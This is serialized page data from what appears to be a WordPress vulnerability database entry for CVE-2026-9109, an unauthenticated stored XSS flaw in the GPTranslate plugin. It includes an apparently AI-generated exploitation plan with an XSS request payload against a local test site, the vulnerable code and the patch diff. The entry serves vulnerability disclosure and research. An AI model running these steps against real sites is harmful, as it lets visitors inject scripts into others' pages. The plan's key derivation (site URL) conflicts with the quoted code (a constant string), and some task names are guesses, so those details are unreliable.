[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fzO3EQLXinLzwv0K34wGBN92I1eoU4OUULackJFiPlsM":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":28,"research_verified":29,"research_rounds_completed":30,"research_plan":31,"research_summary":32,"research_vulnerable_code":33,"research_fix_diff":34,"research_exploit_outline":35,"research_model_used":36,"research_started_at":37,"research_completed_at":38,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":29,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":29,"source_links":39},"CVE-2026-9109","gptranslate-unauthenticated-stored-cross-site-scripting-via-rest-api-translation-storage","GPTranslate \u003C= 2.31 - Unauthenticated Stored Cross-Site Scripting via REST API Translation Storage","The GPTranslate – Multilingual AI Translation for WordPress: Automatically Translate Websites plugin for WordPress is vulnerable to Stored Cross-Site Scripting via REST API Translation Storage in all versions up to, and including, 2.31 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The deterministically derived API key (sha256 of the site URL) is printed in the HTML source of every page via the JavaScript variable gptApiKey, meaning any unauthenticated visitor can retrieve the key and submit malicious translation payloads to the \u002Fwp-json\u002Fgptranslate\u002Fv1\u002Frequest endpoint without any additional precondition.","gptranslate",null,"\u003C=2.31","2.32","high",7.2,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-06-12 17:00:41","2026-06-13 05:32:42",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F1c93b564-5428-4b0e-bbe8-f1e1e68940ac?source=api-prod",1,[22,23,24,25,26,27],"ajax-handler.php","assets\u002Fcss\u002Fwizard.css","assets\u002Fjs\u002Fadmin.js","assets\u002Fjs\u002Fgptranslate.js","gptranslate.php","readme.txt","researched",false,3,"# Exploitation Research Plan - CVE-2026-9109 (GPTranslate Stored XSS)\n\n## 1. Vulnerability Summary\nThe **GPTranslate** plugin (\u003C= 2.31) is vulnerable to **Unauthenticated Stored Cross-Site Scripting (XSS)** via its REST API translation storage endpoint. The plugin uses a deterministically derived API key (SHA256 of the site URL) to authenticate requests to its REST API. Because this key is printed in the HTML source of every page, any unauthenticated visitor can obtain it and submit malicious translation payloads. These payloads are stored in the database and subsequently rendered on the site without proper escaping, leading to XSS.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-json\u002Fgptranslate\u002Fv1\u002Frequest`\n- **Method:** `POST`\n- **Authentication:** Unauthenticated (requires the `x-gptranslate-key` header).\n- **Vulnerable Parameter:** The `translated` field within the JSON payload.\n- **Preconditions:**\n    1. The plugin must be active.\n    2. At least one target translation language must be enabled (e.g., 'es').\n    3. The attacker must know the `gptApiKey` (derived from the site URL).\n\n## 3. Code Flow\n1. **Entry Point (REST API):** The plugin registers a REST route at `\u002Fgptranslate\u002Fv1\u002Frequest` (registered via `rest_api_init`).\n2. **Authentication Check:** The handler extracts the `x-gptranslate-key` header and compares it to `hash('sha256', get_site_url())`.\n3. **Storage (Sink):** The handler processes the `syncTranslation` (or similar) task. It accepts an `original` string and a `translated` string. It updates the `translations` column (JSON) in the `{prefix}gptranslate` table for the specified `pagelink`.\n    - **Vulnerability:** The `translated` string is saved to the database without sanitization.\n4. **Rendering (Sink):** When a user visits the page in the translated language:\n    - The plugin hooks into the frontend output (likely via `the_content` or a similar filter).\n    - It retrieves the translations from the database: `$response['translations'] = json_decode($row['translations'], true)` (seen in `ajax-handler.php`).\n    - It replaces the `original` text on the page with the stored `translated` text.\n    - **Vulnerability:** The replacement text is injected into the HTML DOM **without output escaping**, allowing arbitrary JavaScript execution.\n\n## 4. Nonce \u002F API Key Acquisition Strategy\nThe API key required for the REST API is not a standard WordPress nonce, but a deterministic hash.\n1. **Extraction:** The key is localized to the frontend.\n2. **Procedure:**\n   - Use `browser_navigate` to the WordPress homepage.\n   - Use `browser_eval` to extract the key from the global JavaScript object:\n     ```javascript\n     \u002F\u002F The description mentions gptApiKey variable, admin.js suggests gptranslate_vars\n     window.gptApiKey || window.gptranslate_vars?.gptApiKey\n     ```\n3. **Alternative Calculation:** If JS extraction fails, calculate it manually: `hash('sha256', \"http:\u002F\u002Flocalhost:8080\")`.\n\n## 5. Exploitation Strategy\n### Step 1: Identify Site URL and API Key\nObtain the API key using the strategy in Section 4.\n\n### Step 2: Submit Malicious Translation\nSend a POST request to the REST API to \"translate\" a common string on the homepage into a malicious payload.\n\n**HTTP Request (via `http_request` tool):**\n- **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-json\u002Fgptranslate\u002Fv1\u002Frequest`\n- **Method:** `POST`\n- **Headers:**\n    - `Content-Type: application\u002Fjson`\n    - `x-gptranslate-key: [EXTRACTED_API_KEY]`\n- **Body:**\n```json\n{\n  \"task\": \"syncTranslation\",\n  \"original\": \"Welcome to WordPress\",\n  \"translated\": \"Welcome to WordPress\u003Cimg src=x onerror=alert(document.domain)>\",\n  \"language_translated\": \"es\",\n  \"pagelink\": \"http:\u002F\u002Flocalhost:8080\u002F\",\n  \"translation_type\": \"translations\"\n}\n```\n\n### Step 3: Trigger Execution\nNavigate to the homepage in the target language (e.g., `http:\u002F\u002Flocalhost:8080\u002F?lang=es`) to trigger the rendering of the malicious translation.\n\n## 6. Test Data Setup\n1. **Install and Activate:** Ensure GPTranslate 2.31 is active.\n2. **Enable Languages:** Use WP-CLI to ensure at least one translation language is configured:\n   ```bash\n   # Add Spanish ('es') to the gptranslate_options\n   wp option patch insert gptranslate_options languages es\n   ```\n3. **Identify Target String:** Ensure the homepage contains the string \"Welcome to WordPress\" (standard on default installs).\n\n## 7. Expected Results\n- The REST API responds with `{\"result\":true}` or similar.\n- The database table `{prefix}gptranslate` now contains the XSS payload in the `translations` JSON column.\n- Upon visiting the homepage in Spanish, an alert box showing the document domain appears.\n\n## 8. Verification Steps\n1. **Database Check:**\n   ```bash\n   wp db query \"SELECT translations FROM wp_gptranslate WHERE languagetranslated = 'es' LIMIT 1;\"\n   ```\n   Check if the output contains `\u003Cimg src=x onerror=alert(document.domain)>`.\n2. **Frontend Check:**\n   Use `browser_navigate(\"http:\u002F\u002Flocalhost:8080\u002F?lang=es\")` and check for the presence of the alert.\n\n## 9. Alternative Approaches\n- **Payload Variance:** If `\u003Cscript>` tags are filtered by server-side WAFs (though not the plugin), use `\u003Cimg>` or `\u003Csvg>` event handlers.\n- **Task Names:** If `syncTranslation` fails, try `save_translation` or `update_translation` (inferred task names common in these plugins).\n- **Target Pages:** If the homepage is protected, target a specific post URL by changing the `pagelink` parameter.","GPTranslate (up to version 2.31) is vulnerable to unauthenticated stored Cross-Site Scripting (XSS) because it uses a deterministic and publicly exposed API key for its translation storage REST API. Attackers can leverage this key to submit malicious translation strings that are saved without sanitization and subsequently rendered on the site without escaping.","\u002F\u002F ajax-handler.php @ line 55\n\u002F\u002F Validate API key - simple shared secret hash\n$expected_key = hash('sha256', 'gptranslate');\n\nif ($headerApiKey !== $expected_key) {\n\thttp_response_code(403);\n\techo json_encode(['result' => false, 'error' => 'Forbidden']);\n\texit;\n}\n\n---\n\n\u002F\u002F assets\u002Fjs\u002Fadmin.js (referenced for key exposure)\n\u002F\u002F The key is often localized to the frontend via gptranslate_vars\nheaders: {\"Content-Type\":\"application\u002Fjson; charset=utf-8\", Accept:\"application\u002Fjson\", \"x-gptranslate-key\": gptranslate_vars.gptApiKey}","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgptranslate\u002F2.31\u002Fajax-handler.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgptranslate\u002F2.32\u002Fajax-handler.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgptranslate\u002F2.31\u002Fajax-handler.php\t2026-05-16 00:16:50.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgptranslate\u002F2.32\u002Fajax-handler.php\t2026-05-21 23:00:22.000000000 +0000\n@@ -52,10 +52,16 @@\n \t}\n }\n \n-\u002F\u002F Validate API key - simple shared secret hash\n-$expected_key = hash('sha256', 'gptranslate');\n+\u002F\u002F Validate API key - cryptographically random secret stored in wp_options.\n+\u002F\u002F SHORTINIT does not load the options API, so query the option table directly.\n+$expected_key = $wpdb->get_var(\n+\t$wpdb->prepare(\n+\t\t\"SELECT option_value FROM {$wpdb->options} WHERE option_name = %s LIMIT 1\",\n+\t\t'gptranslate_api_secret'\n+\t)\n+);\n \n-if ($headerApiKey !== $expected_key) {\n+if ($expected_key === null || $expected_key === '' || !is_string($headerApiKey) || !hash_equals((string) $expected_key, $headerApiKey)) {\n \thttp_response_code(403);\n \techo json_encode(['result' => false, 'error' => 'Forbidden']);\n \texit;","1. Extract the deterministic API key from the target site's frontend (usually found in global JavaScript variables like 'gptApiKey' or 'gptranslate_vars.gptApiKey').\n2. Send an unauthenticated POST request to the `\u002Fwp-json\u002Fgptranslate\u002Fv1\u002Frequest` REST endpoint (or the custom ajax-handler.php endpoint if applicable).\n3. Set the 'x-gptranslate-key' header to the extracted API key.\n4. Craft a JSON payload with the 'task' set to 'syncTranslation' and the 'translated' parameter containing a malicious script (e.g., \u003Cscript>alert(1)\u003C\u002Fscript>).\n5. Target a specific page by providing its URL in the 'pagelink' parameter and specify a target language (e.g., 'es').\n6. Navigate to the targeted page in that language to trigger the execution of the stored XSS payload.","gemini-3-flash-preview","2026-06-26 00:34:13","2026-06-26 00:35:06",{"type":40,"vulnerable_version":41,"fixed_version":11,"vulnerable_browse":42,"vulnerable_zip":43,"fixed_browse":44,"fixed_zip":45,"all_tags":46},"plugin","2.31","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgptranslate\u002Ftags\u002F2.31","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fgptranslate.2.31.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgptranslate\u002Ftags\u002F2.32","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fgptranslate.2.32.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgptranslate\u002Ftags"]